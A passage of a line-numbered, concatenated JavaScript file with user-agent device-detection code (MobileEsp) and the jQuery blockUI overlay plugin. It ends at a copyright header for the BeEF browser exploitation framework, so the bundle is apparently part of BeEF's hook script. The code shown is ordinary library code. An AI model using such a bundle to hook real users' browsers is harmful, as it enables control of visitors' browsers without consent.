  2473. this.DetectXbox())
  2474. return true;
  2475. else
  2476. return false;
  2477. },
  2478.  
  2479. //**************************
  2480. // Detects if the current device is a Sony Playstation.
  2481. DetectSonyPlaystation : function() {
  2482. if (this.uagent.search(this.devicePlaystation) > -1)
  2483. return true;
  2484. else
  2485. return false;
  2486. },
  2487.  
  2488. //**************************
  2489. // Detects if the current device is a handheld gaming device with
  2490. // a touchscreen and modern iPhone-class browser. Includes the Playstation Vita.
  2491. DetectGamingHandheld : function() {
  2492. if ((this.uagent.search(this.devicePlaystation) > -1) &&
  2493. (this.uagent.search(this.devicePlaystationVita) > -1))
  2494. return true;
  2495. else
  2496. return false;
  2497. },
  2498.  
  2499. //**************************
  2500. // Detects if the current device is a Nintendo game device.
  2501. DetectNintendo : function() {
  2502. if (this.uagent.search(this.deviceNintendo) > -1 ||
  2503. this.uagent.search(this.deviceWii) > -1 ||
  2504. this.uagent.search(this.deviceNintendoDs) > -1)
  2505. return true;
  2506. else
  2507. return false;
  2508. },
  2509.  
  2510. //**************************
  2511. // Detects if the current device is a Microsoft Xbox.
  2512. DetectXbox : function() {
  2513. if (this.uagent.search(this.deviceXbox) > -1)
  2514. return true;
  2515. else
  2516. return false;
  2517. },
  2518.  
  2519.  
  2520. //**************************
  2521. // Detects whether the device is a Brew-powered device.
  2522. // Note: Limited to older Brew-powered feature phones.
  2523. // Ignores newer Brew versions like MP. Refer to DetectMobileQuick().
  2524. DetectBrewDevice : function() {
  2525. if (this.uagent.search(this.deviceBrew) > -1)
  2526. return true;
  2527. else
  2528. return false;
  2529. },
  2530.  
  2531.  
  2532. // DEVICE CLASSES
  2533.  
  2534. //**************************
  2535. // Check to see whether the device is *any* 'smartphone'.
  2536. // Note: It's better to use DetectTierIphone() for modern touchscreen devices.
  2537. DetectSmartphone : function() {
  2538. //Exclude duplicates from TierIphone
  2539. if (this.DetectTierIphone() ||
  2540. this.DetectS60OssBrowser() ||
  2541. this.DetectSymbianOS() ||
  2542. this.DetectWindowsMobile() ||
  2543. this.DetectBlackBerry() ||
  2544. this.DetectMeegoPhone() ||
  2545. this.DetectPalmOS())
  2546. return true;
  2547.  
  2548. //Otherwise, return false.
  2549. return false;
  2550. },
  2551.  
  2552. //**************************
  2553. // Detects if the current device is a mobile device.
  2554. // This method catches most of the popular modern devices.
  2555. // Excludes Apple iPads and other modern tablets.
  2556. DetectMobileQuick : function() {
  2557. if (this.initCompleted || this.isMobilePhone)
  2558. return this.isMobilePhone;
  2559.  
  2560. //Let's exclude tablets.
  2561. if (this.DetectTierTablet())
  2562. return false;
  2563.  
  2564. //Most mobile browsing is done on smartphones
  2565. if (this.DetectSmartphone())
  2566. return true;
  2567.  
  2568. //Catch-all for many mobile devices
  2569. if (this.uagent.search(this.mobile) > -1)
  2570. return true;
  2571.  
  2572. if (this.DetectOperaMobile())
  2573. return true;
  2574.  
  2575. //We also look for Kindle devices
  2576. if (this.DetectKindle() ||
  2577. this.DetectAmazonSilk())
  2578. return true;
  2579.  
  2580. if (this.uagent.search(this.deviceMidp) > -1 ||
  2581. this.DetectBrewDevice())
  2582. return true;
  2583.  
  2584. if ((this.uagent.search(this.engineObigo) > -1) ||
  2585. (this.uagent.search(this.engineNetfront) > -1) ||
  2586. (this.uagent.search(this.engineUpBrowser) > -1))
  2587. return true;
  2588.  
  2589. return false;
  2590. },
  2591.  
  2592. //**************************
  2593. // Detects in a more comprehensive way if the current device is a mobile device.
  2594. DetectMobileLong : function() {
  2595. if (this.DetectMobileQuick())
  2596. return true;
  2597. if (this.DetectGameConsole())
  2598. return true;
  2599.  
  2600. if (this.DetectDangerHiptop() ||
  2601. this.DetectMaemoTablet() ||
  2602. this.DetectSonyMylo() ||
  2603. this.DetectArchos())
  2604. return true;
  2605.  
  2606. if ((this.uagent.search(this.devicePda) > -1) &&
  2607. !(this.uagent.search(this.disUpdate) > -1))
  2608. return true;
  2609.  
  2610. //Detect for certain very old devices with stupid useragent strings.
  2611. if ((this.uagent.search(this.manuSamsung1) > -1) ||
  2612. (this.uagent.search(this.manuSonyEricsson) > -1) ||
  2613. (this.uagent.search(this.manuericsson) > -1) ||
  2614. (this.uagent.search(this.svcDocomo) > -1) ||
  2615. (this.uagent.search(this.svcKddi) > -1) ||
  2616. (this.uagent.search(this.svcVodafone) > -1))
  2617. return true;
  2618.  
  2619. return false;
  2620. },
  2621.  
  2622. //*****************************
  2623. // For Mobile Web Site Design
  2624. //*****************************
  2625.  
  2626. //**************************
  2627. // The quick way to detect for a tier of devices.
  2628. // This method detects for the new generation of
  2629. // HTML 5 capable, larger screen tablets.
  2630. // Includes iPad, Android (e.g., Xoom), BB Playbook, WebOS, etc.
  2631. DetectTierTablet : function() {
  2632. if (this.initCompleted || this.isTierTablet)
  2633. return this.isTierTablet;
  2634.  
  2635. if (this.DetectIpad() ||
  2636. this.DetectAndroidTablet() ||
  2637. this.DetectBlackBerryTablet() ||
  2638. this.DetectFirefoxOSTablet() ||
  2639. this.DetectUbuntuTablet() ||
  2640. this.DetectWebOSTablet())
  2641. return true;
  2642. else
  2643. return false;
  2644. },
  2645.  
  2646. //**************************
  2647. // The quick way to detect for a tier of devices.
  2648. // This method detects for devices which can
  2649. // display iPhone-optimized web content.
  2650. // Includes iPhone, iPod Touch, Android, Windows Phone 7 and 8, BB10, WebOS, Playstation Vita, etc.
  2651. DetectTierIphone : function() {
  2652. if (this.initCompleted || this.isTierIphone)
  2653. return this.isTierIphone;
  2654.  
  2655. if (this.DetectIphoneOrIpod() ||
  2656. this.DetectAndroidPhone() ||
  2657. this.DetectWindowsPhone() ||
  2658. this.DetectBlackBerry10Phone() ||
  2659. this.DetectPalmWebOS() ||
  2660. this.DetectBada() ||
  2661. this.DetectTizen() ||
  2662. this.DetectFirefoxOSPhone() ||
  2663. this.DetectSailfishPhone() ||
  2664. this.DetectUbuntuPhone() ||
  2665. this.DetectGamingHandheld())
  2666. return true;
  2667.  
  2668. //Note: BB10 phone is in the previous paragraph
  2669. if (this.DetectBlackBerryWebKit() && this.DetectBlackBerryTouch())
  2670. return true;
  2671.  
  2672. else
  2673. return false;
  2674. },
  2675.  
  2676. //**************************
  2677. // The quick way to detect for a tier of devices.
  2678. // This method detects for devices which are likely to be
  2679. // capable of viewing CSS content optimized for the iPhone,
  2680. // but may not necessarily support JavaScript.
  2681. // Excludes all iPhone Tier devices.
  2682. DetectTierRichCss : function() {
  2683. if (this.initCompleted || this.isTierRichCss)
  2684. return this.isTierRichCss;
  2685.  
  2686. //Exclude iPhone and Tablet Tiers and e-Ink Kindle devices
  2687. if (this.DetectTierIphone() ||
  2688. this.DetectKindle() ||
  2689. this.DetectTierTablet())
  2690. return false;
  2691.  
  2692. //Exclude if not mobile
  2693. if (!this.DetectMobileQuick())
  2694. return false;
  2695.  
  2696. //If it's a mobile webkit browser on any other device, it's probably OK.
  2697. if (this.DetectWebkit())
  2698. return true;
  2699.  
  2700. //The following devices are also explicitly ok.
  2701. if (this.DetectS60OssBrowser() ||
  2702. this.DetectBlackBerryHigh() ||
  2703. this.DetectWindowsMobile() ||
  2704. (this.uagent.search(this.engineTelecaQ) > -1))
  2705. return true;
  2706.  
  2707. else
  2708. return false;
  2709. },
  2710.  
  2711. //**************************
  2712. // The quick way to detect for a tier of devices.
  2713. // This method detects for all other types of phones,
  2714. // but excludes the iPhone and RichCSS Tier devices.
  2715. // NOTE: This method probably won't work due to poor
  2716. // support for JavaScript among other devices.
  2717. DetectTierOtherPhones : function() {
  2718. if (this.initCompleted || this.isTierGenericMobile)
  2719. return this.isTierGenericMobile;
  2720.  
  2721. //Exclude iPhone, Rich CSS and Tablet Tiers
  2722. if (this.DetectTierIphone() ||
  2723. this.DetectTierRichCss() ||
  2724. this.DetectTierTablet())
  2725. return false;
  2726.  
  2727. //Otherwise, if it's mobile, it's OK
  2728. if (this.DetectMobileLong())
  2729. return true;
  2730.  
  2731. else
  2732. return false;
  2733. }
  2734.  
  2735. };
  2736.  
  2737. //Initialize the MobileEsp object
  2738. MobileEsp.InitDeviceScan();
  2739.  
  2740.  
  2741.  
  2742.  
  2743.  
  2744. /*!
  2745. * jQuery blockUI plugin
  2746. * Version 2.70.0-2014.11.23
  2747. * Requires jQuery v1.7 or later
  2748. *
  2749. * Examples at: http://malsup.com/jquery/block/
  2750. * Copyright (c) 2007-2013 M. Alsup
  2751. * Dual licensed under the MIT and GPL licenses:
  2752. * http://www.opensource.org/licenses/mit-license.php
  2753. * http://www.gnu.org/licenses/gpl.html
  2754. *
  2755. * Thanks to Amir-Hossein Sobhi for some excellent contributions!
  2756. */
  2757.  
  2758. ;(function() {
  2759. /*jshint eqeqeq:false curly:false latedef:false */
  2760. "use strict";
  2761.  
  2762. function setup($) {
  2763. $.fn._fadeIn = $.fn.fadeIn;
  2764.  
  2765. var noOp = $.noop || function() {};
  2766.  
  2767. // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
  2768. // confusing userAgent strings on Vista)
  2769. var msie = /MSIE/.test(navigator.userAgent);
  2770. var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
  2771. var mode = document.documentMode || 0;
  2772. var setExpr = $.isFunction( document.createElement('div').style.setExpression );
  2773.  
  2774. // global $ methods for blocking/unblocking the entire page
  2775. $.blockUI = function(opts) { install(window, opts); };
  2776. $.unblockUI = function(opts) { remove(window, opts); };
  2777.  
  2778. // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
  2779. $.growlUI = function(title, message, timeout, onClose) {
  2780. var $m = $('<div class="growlUI"></div>');
  2781. if (title) $m.append('<h1>'+title+'</h1>');
  2782. if (message) $m.append('<h2>'+message+'</h2>');
  2783. if (timeout === undefined) timeout = 3000;
  2784.  
  2785. // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
  2786. var callBlock = function(opts) {
  2787. opts = opts || {};
  2788.  
  2789. $.blockUI({
  2790. message: $m,
  2791. fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
  2792. fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
  2793. timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
  2794. centerY: false,
  2795. showOverlay: false,
  2796. onUnblock: onClose,
  2797. css: $.blockUI.defaults.growlCSS
  2798. });
  2799. };
  2800.  
  2801. callBlock();
  2802. var nonmousedOpacity = $m.css('opacity');
  2803. $m.mouseover(function() {
  2804. callBlock({
  2805. fadeIn: 0,
  2806. timeout: 30000
  2807. });
  2808.  
  2809. var displayBlock = $('.blockMsg');
  2810. displayBlock.stop(); // cancel fadeout if it has started
  2811. displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
  2812. }).mouseout(function() {
  2813. $('.blockMsg').fadeOut(1000);
  2814. });
  2815. // End konapun additions
  2816. };
  2817.  
  2818. // plugin method for blocking element content
  2819. $.fn.block = function(opts) {
  2820. if ( this[0] === window ) {
  2821. $.blockUI( opts );
  2822. return this;
  2823. }
  2824. var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
  2825. this.each(function() {
  2826. var $el = $(this);
  2827. if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
  2828. return;
  2829. $el.unblock({ fadeOut: 0 });
  2830. });
  2831.  
  2832. return this.each(function() {
  2833. if ($.css(this,'position') == 'static') {
  2834. this.style.position = 'relative';
  2835. $(this).data('blockUI.static', true);
  2836. }
  2837. this.style.zoom = 1; // force 'hasLayout' in ie
  2838. install(this, opts);
  2839. });
  2840. };
  2841.  
  2842. // plugin method for unblocking element content
  2843. $.fn.unblock = function(opts) {
  2844. if ( this[0] === window ) {
  2845. $.unblockUI( opts );
  2846. return this;
  2847. }
  2848. return this.each(function() {
  2849. remove(this, opts);
  2850. });
  2851. };
  2852.  
  2853. $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
  2854.  
  2855. // override these in your code to change the default behavior and style
  2856. $.blockUI.defaults = {
  2857. // message displayed when blocking (use null for no message)
  2858. message: '<h1>Please wait...</h1>',
  2859.  
  2860. title: null, // title string; only used when theme == true
  2861. draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
  2862.  
  2863. theme: false, // set to true to use with jQuery UI themes
  2864.  
  2865. // styles for the message when blocking; if you wish to disable
  2866. // these and use an external stylesheet then do this in your code:
  2867. // $.blockUI.defaults.css = {};
  2868. css: {
  2869. padding: 0,
  2870. margin: 0,
  2871. width: '30%',
  2872. top: '40%',
  2873. left: '35%',
  2874. textAlign: 'center',
  2875. color: '#000',
  2876. border: '3px solid #aaa',
  2877. backgroundColor:'#fff',
  2878. cursor: 'wait'
  2879. },
  2880.  
  2881. // minimal style set used when themes are used
  2882. themedCSS: {
  2883. width: '30%',
  2884. top: '40%',
  2885. left: '35%'
  2886. },
  2887.  
  2888. // styles for the overlay
  2889. overlayCSS: {
  2890. backgroundColor: '#000',
  2891. opacity: 0.6,
  2892. cursor: 'wait'
  2893. },
  2894.  
  2895. // style to replace wait cursor before unblocking to correct issue
  2896. // of lingering wait cursor
  2897. cursorReset: 'default',
  2898.  
  2899. // styles applied when using $.growlUI
  2900. growlCSS: {
  2901. width: '350px',
  2902. top: '10px',
  2903. left: '',
  2904. right: '10px',
  2905. border: 'none',
  2906. padding: '5px',
  2907. opacity: 0.6,
  2908. cursor: 'default',
  2909. color: '#fff',
  2910. backgroundColor: '#000',
  2911. '-webkit-border-radius':'10px',
  2912. '-moz-border-radius': '10px',
  2913. 'border-radius': '10px'
  2914. },
  2915.  
  2916. // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
  2917. // (hat tip to Jorge H. N. de Vasconcelos)
  2918. /*jshint scripturl:true */
  2919. iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
  2920.  
  2921. // force usage of iframe in non-IE browsers (handy for blocking applets)
  2922. forceIframe: false,
  2923.  
  2924. // z-index for the blocking overlay
  2925. baseZ: 1000,
  2926.  
  2927. // set these to true to have the message automatically centered
  2928. centerX: true, // <-- only effects element blocking (page block controlled via css above)
  2929. centerY: true,
  2930.  
  2931. // allow body element to be stetched in ie6; this makes blocking look better
  2932. // on "short" pages. disable if you wish to prevent changes to the body height
  2933. allowBodyStretch: true,
  2934.  
  2935. // enable if you want key and mouse events to be disabled for content that is blocked
  2936. bindEvents: true,
  2937.  
  2938. // be default blockUI will supress tab navigation from leaving blocking content
  2939. // (if bindEvents is true)
  2940. constrainTabKey: true,
  2941.  
  2942. // fadeIn time in millis; set to 0 to disable fadeIn on block
  2943. fadeIn: 200,
  2944.  
  2945. // fadeOut time in millis; set to 0 to disable fadeOut on unblock
  2946. fadeOut: 400,
  2947.  
  2948. // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
  2949. timeout: 0,
  2950.  
  2951. // disable if you don't want to show the overlay
  2952. showOverlay: true,
  2953.  
  2954. // if true, focus will be placed in the first available input field when
  2955. // page blocking
  2956. focusInput: true,
  2957.  
  2958. // elements that can receive focus
  2959. focusableElements: ':input:enabled:visible',
  2960.  
  2961. // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
  2962. // no longer needed in 2012
  2963. // applyPlatformOpacityRules: true,
  2964.  
  2965. // callback method invoked when fadeIn has completed and blocking message is visible
  2966. onBlock: null,
  2967.  
  2968. // callback method invoked when unblocking has completed; the callback is
  2969. // passed the element that has been unblocked (which is the window object for page
  2970. // blocks) and the options that were passed to the unblock call:
  2971. // onUnblock(element, options)
  2972. onUnblock: null,
  2973.  
  2974. // callback method invoked when the overlay area is clicked.
  2975. // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
  2976. onOverlayClick: null,
  2977.  
  2978. // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
  2979. quirksmodeOffsetHack: 4,
  2980.  
  2981. // class name of the message block
  2982. blockMsgClass: 'blockMsg',
  2983.  
  2984. // if it is already blocked, then ignore it (don't unblock and reblock)
  2985. ignoreIfBlocked: false
  2986. };
  2987.  
  2988. // private data and functions follow...
  2989.  
  2990. var pageBlock = null;
  2991. var pageBlockEls = [];
  2992.  
  2993. function install(el, opts) {
  2994. var css, themedCSS;
  2995. var full = (el == window);
  2996. var msg = (opts && opts.message !== undefined ? opts.message : undefined);
  2997. opts = $.extend({}, $.blockUI.defaults, opts || {});
  2998.  
  2999. if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
  3000. return;
  3001.  
  3002. opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
  3003. css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
  3004. if (opts.onOverlayClick)
  3005. opts.overlayCSS.cursor = 'pointer';
  3006.  
  3007. themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
  3008. msg = msg === undefined ? opts.message : msg;
  3009.  
  3010. // remove the current block (if there is one)
  3011. if (full && pageBlock)
  3012. remove(window, {fadeOut:0});
  3013.  
  3014. // if an existing element is being used as the blocking content then we capture
  3015. // its current place in the DOM (and current display style) so we can restore
  3016. // it when we unblock
  3017. if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
  3018. var node = msg.jquery ? msg[0] : msg;
  3019. var data = {};
  3020. $(el).data('blockUI.history', data);
  3021. data.el = node;
  3022. data.parent = node.parentNode;
  3023. data.display = node.style.display;
  3024. data.position = node.style.position;
  3025. if (data.parent)
  3026. data.parent.removeChild(node);
  3027. }
  3028.  
  3029. $(el).data('blockUI.onUnblock', opts.onUnblock);
  3030. var z = opts.baseZ;
  3031.  
  3032. // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
  3033. // layer1 is the iframe layer which is used to supress bleed through of underlying content
  3034. // layer2 is the overlay layer which has opacity and a wait cursor (by default)
  3035. // layer3 is the message content that is displayed while blocking
  3036. var lyr1, lyr2, lyr3, s;
  3037. if (msie || opts.forceIframe)
  3038. lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
  3039. else
  3040. lyr1 = $('<div class="blockUI" style="display:none"></div>');
  3041.  
  3042. if (opts.theme)
  3043. lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
  3044. else
  3045. lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
  3046.  
  3047. if (opts.theme && full) {
  3048. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
  3049. if ( opts.title ) {
  3050. s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  3051. }
  3052. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  3053. s += '</div>';
  3054. }
  3055. else if (opts.theme) {
  3056. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
  3057. if ( opts.title ) {
  3058. s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  3059. }
  3060. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  3061. s += '</div>';
  3062. }
  3063. else if (full) {
  3064. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
  3065. }
  3066. else {
  3067. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
  3068. }
  3069. lyr3 = $(s);
  3070.  
  3071. // if we have a message, style it
  3072. if (msg) {
  3073. if (opts.theme) {
  3074. lyr3.css(themedCSS);
  3075. lyr3.addClass('ui-widget-content');
  3076. }
  3077. else
  3078. lyr3.css(css);
  3079. }
  3080.  
  3081. // style the overlay
  3082. if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
  3083. lyr2.css(opts.overlayCSS);
  3084. lyr2.css('position', full ? 'fixed' : 'absolute');
  3085.  
  3086. // make iframe layer transparent in IE
  3087. if (msie || opts.forceIframe)
  3088. lyr1.css('opacity',0.0);
  3089.  
  3090. //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
  3091. var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
  3092. $.each(layers, function() {
  3093. this.appendTo($par);
  3094. });
  3095.  
  3096. if (opts.theme && opts.draggable && $.fn.draggable) {
  3097. lyr3.draggable({
  3098. handle: '.ui-dialog-titlebar',
  3099. cancel: 'li'
  3100. });
  3101. }
  3102.  
  3103. // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
  3104. var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
  3105. if (ie6 || expr) {
  3106. // give body 100% height
  3107. if (full && opts.allowBodyStretch && $.support.boxModel)
  3108. $('html,body').css('height','100%');
  3109.  
  3110. // fix ie6 issue when blocked element has a border width
  3111. if ((ie6 || !$.support.boxModel) && !full) {
  3112. var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
  3113. var fixT = t ? '(0 - '+t+')' : 0;
  3114. var fixL = l ? '(0 - '+l+')' : 0;
  3115. }
  3116.  
  3117. // simulate fixed position
  3118. $.each(layers, function(i,o) {
  3119. var s = o[0].style;
  3120. s.position = 'absolute';
  3121. if (i < 2) {
  3122. if (full)
  3123. s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
  3124. else
  3125. s.setExpression('height','this.parentNode.offsetHeight + "px"');
  3126. if (full)
  3127. s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
  3128. else
  3129. s.setExpression('width','this.parentNode.offsetWidth + "px"');
  3130. if (fixL) s.setExpression('left', fixL);
  3131. if (fixT) s.setExpression('top', fixT);
  3132. }
  3133. else if (opts.centerY) {
  3134. if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
  3135. s.marginTop = 0;
  3136. }
  3137. else if (!opts.centerY && full) {
  3138. var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
  3139. var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
  3140. s.setExpression('top',expression);
  3141. }
  3142. });
  3143. }
  3144.  
  3145. // show the message
  3146. if (msg) {
  3147. if (opts.theme)
  3148. lyr3.find('.ui-widget-content').append(msg);
  3149. else
  3150. lyr3.append(msg);
  3151. if (msg.jquery || msg.nodeType)
  3152. $(msg).show();
  3153. }
  3154.  
  3155. if ((msie || opts.forceIframe) && opts.showOverlay)
  3156. lyr1.show(); // opacity is zero
  3157. if (opts.fadeIn) {
  3158. var cb = opts.onBlock ? opts.onBlock : noOp;
  3159. var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
  3160. var cb2 = msg ? cb : noOp;
  3161. if (opts.showOverlay)
  3162. lyr2._fadeIn(opts.fadeIn, cb1);
  3163. if (msg)
  3164. lyr3._fadeIn(opts.fadeIn, cb2);
  3165. }
  3166. else {
  3167. if (opts.showOverlay)
  3168. lyr2.show();
  3169. if (msg)
  3170. lyr3.show();
  3171. if (opts.onBlock)
  3172. opts.onBlock.bind(lyr3)();
  3173. }
  3174.  
  3175. // bind key and mouse events
  3176. bind(1, el, opts);
  3177.  
  3178. if (full) {
  3179. pageBlock = lyr3[0];
  3180. pageBlockEls = $(opts.focusableElements,pageBlock);
  3181. if (opts.focusInput)
  3182. setTimeout(focus, 20);
  3183. }
  3184. else
  3185. center(lyr3[0], opts.centerX, opts.centerY);
  3186.  
  3187. if (opts.timeout) {
  3188. // auto-unblock
  3189. var to = setTimeout(function() {
  3190. if (full)
  3191. $.unblockUI(opts);
  3192. else
  3193. $(el).unblock(opts);
  3194. }, opts.timeout);
  3195. $(el).data('blockUI.timeout', to);
  3196. }
  3197. }
  3198.  
  3199. // remove the block
  3200. function remove(el, opts) {
  3201. var count;
  3202. var full = (el == window);
  3203. var $el = $(el);
  3204. var data = $el.data('blockUI.history');
  3205. var to = $el.data('blockUI.timeout');
  3206. if (to) {
  3207. clearTimeout(to);
  3208. $el.removeData('blockUI.timeout');
  3209. }
  3210. opts = $.extend({}, $.blockUI.defaults, opts || {});
  3211. bind(0, el, opts); // unbind events
  3212.  
  3213. if (opts.onUnblock === null) {
  3214. opts.onUnblock = $el.data('blockUI.onUnblock');
  3215. $el.removeData('blockUI.onUnblock');
  3216. }
  3217.  
  3218. var els;
  3219. if (full) // crazy selector to handle odd field errors in ie6/7
  3220. els = $('body').children().filter('.blockUI').add('body > .blockUI');
  3221. else
  3222. els = $el.find('>.blockUI');
  3223.  
  3224. // fix cursor issue
  3225. if ( opts.cursorReset ) {
  3226. if ( els.length > 1 )
  3227. els[1].style.cursor = opts.cursorReset;
  3228. if ( els.length > 2 )
  3229. els[2].style.cursor = opts.cursorReset;
  3230. }
  3231.  
  3232. if (full)
  3233. pageBlock = pageBlockEls = null;
  3234.  
  3235. if (opts.fadeOut) {
  3236. count = els.length;
  3237. els.stop().fadeOut(opts.fadeOut, function() {
  3238. if ( --count === 0)
  3239. reset(els,data,opts,el);
  3240. });
  3241. }
  3242. else
  3243. reset(els, data, opts, el);
  3244. }
  3245.  
  3246. // move blocking element back into the DOM where it started
  3247. function reset(els,data,opts,el) {
  3248. var $el = $(el);
  3249. if ( $el.data('blockUI.isBlocked') )
  3250. return;
  3251.  
  3252. els.each(function(i,o) {
  3253. // remove via DOM calls so we don't lose event handlers
  3254. if (this.parentNode)
  3255. this.parentNode.removeChild(this);
  3256. });
  3257.  
  3258. if (data && data.el) {
  3259. data.el.style.display = data.display;
  3260. data.el.style.position = data.position;
  3261. data.el.style.cursor = 'default'; // #59
  3262. if (data.parent)
  3263. data.parent.appendChild(data.el);
  3264. $el.removeData('blockUI.history');
  3265. }
  3266.  
  3267. if ($el.data('blockUI.static')) {
  3268. $el.css('position', 'static'); // #22
  3269. }
  3270.  
  3271. if (typeof opts.onUnblock == 'function')
  3272. opts.onUnblock(el,opts);
  3273.  
  3274. // fix issue in Safari 6 where block artifacts remain until reflow
  3275. var body = $(document.body), w = body.width(), cssW = body[0].style.width;
  3276. body.width(w-1).width(w);
  3277. body[0].style.width = cssW;
  3278. }
  3279.  
  3280. // bind/unbind the handler
  3281. function bind(b, el, opts) {
  3282. var full = el == window, $el = $(el);
  3283.  
  3284. // don't bother unbinding if there is nothing to unbind
  3285. if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
  3286. return;
  3287.  
  3288. $el.data('blockUI.isBlocked', b);
  3289.  
  3290. // don't bind events when overlay is not in use or if bindEvents is false
  3291. if (!full || !opts.bindEvents || (b && !opts.showOverlay))
  3292. return;
  3293.  
  3294. // bind anchors and inputs for mouse and key events
  3295. var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
  3296. if (b)
  3297. $(document).bind(events, opts, handler);
  3298. else
  3299. $(document).unbind(events, handler);
  3300.  
  3301. // former impl...
  3302. // var $e = $('a,:input');
  3303. // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
  3304. }
  3305.  
  3306. // event handler to suppress keyboard/mouse events when blocking
  3307. function handler(e) {
  3308. // allow tab navigation (conditionally)
  3309. if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
  3310. if (pageBlock && e.data.constrainTabKey) {
  3311. var els = pageBlockEls;
  3312. var fwd = !e.shiftKey && e.target === els[els.length-1];
  3313. var back = e.shiftKey && e.target === els[0];
  3314. if (fwd || back) {
  3315. setTimeout(function(){focus(back);},10);
  3316. return false;
  3317. }
  3318. }
  3319. }
  3320. var opts = e.data;
  3321. var target = $(e.target);
  3322. if (target.hasClass('blockOverlay') && opts.onOverlayClick)
  3323. opts.onOverlayClick(e);
  3324.  
  3325. // allow events within the message content
  3326. if (target.parents('div.' + opts.blockMsgClass).length > 0)
  3327. return true;
  3328.  
  3329. // allow events for content that is not being blocked
  3330. return target.parents().children().filter('div.blockUI').length === 0;
  3331. }
  3332.  
  3333. function focus(back) {
  3334. if (!pageBlockEls)
  3335. return;
  3336. var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
  3337. if (e)
  3338. e.focus();
  3339. }
  3340.  
  3341. function center(el, x, y) {
  3342. var p = el.parentNode, s = el.style;
  3343. var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
  3344. var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
  3345. if (x) s.left = l > 0 ? (l+'px') : '0';
  3346. if (y) s.top = t > 0 ? (t+'px') : '0';
  3347. }
  3348.  
  3349. function sz(el, p) {
  3350. return parseInt($.css(el,p),10)||0;
  3351. }
  3352.  
  3353. }
  3354.  
  3355.  
  3356. /*global define:true */
  3357. if (typeof define === 'function' && define.amd && define.amd.jQuery) {
  3358. define(['jquery'], setup);
  3359. } else {
  3360. setup(jQuery);
  3361. }
  3362.  
  3363. })();
  3364.  
  3365.  
  3366. //
  3367. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  3368. // Browser Exploitation Framework (BeEF) - http://beefproject.com
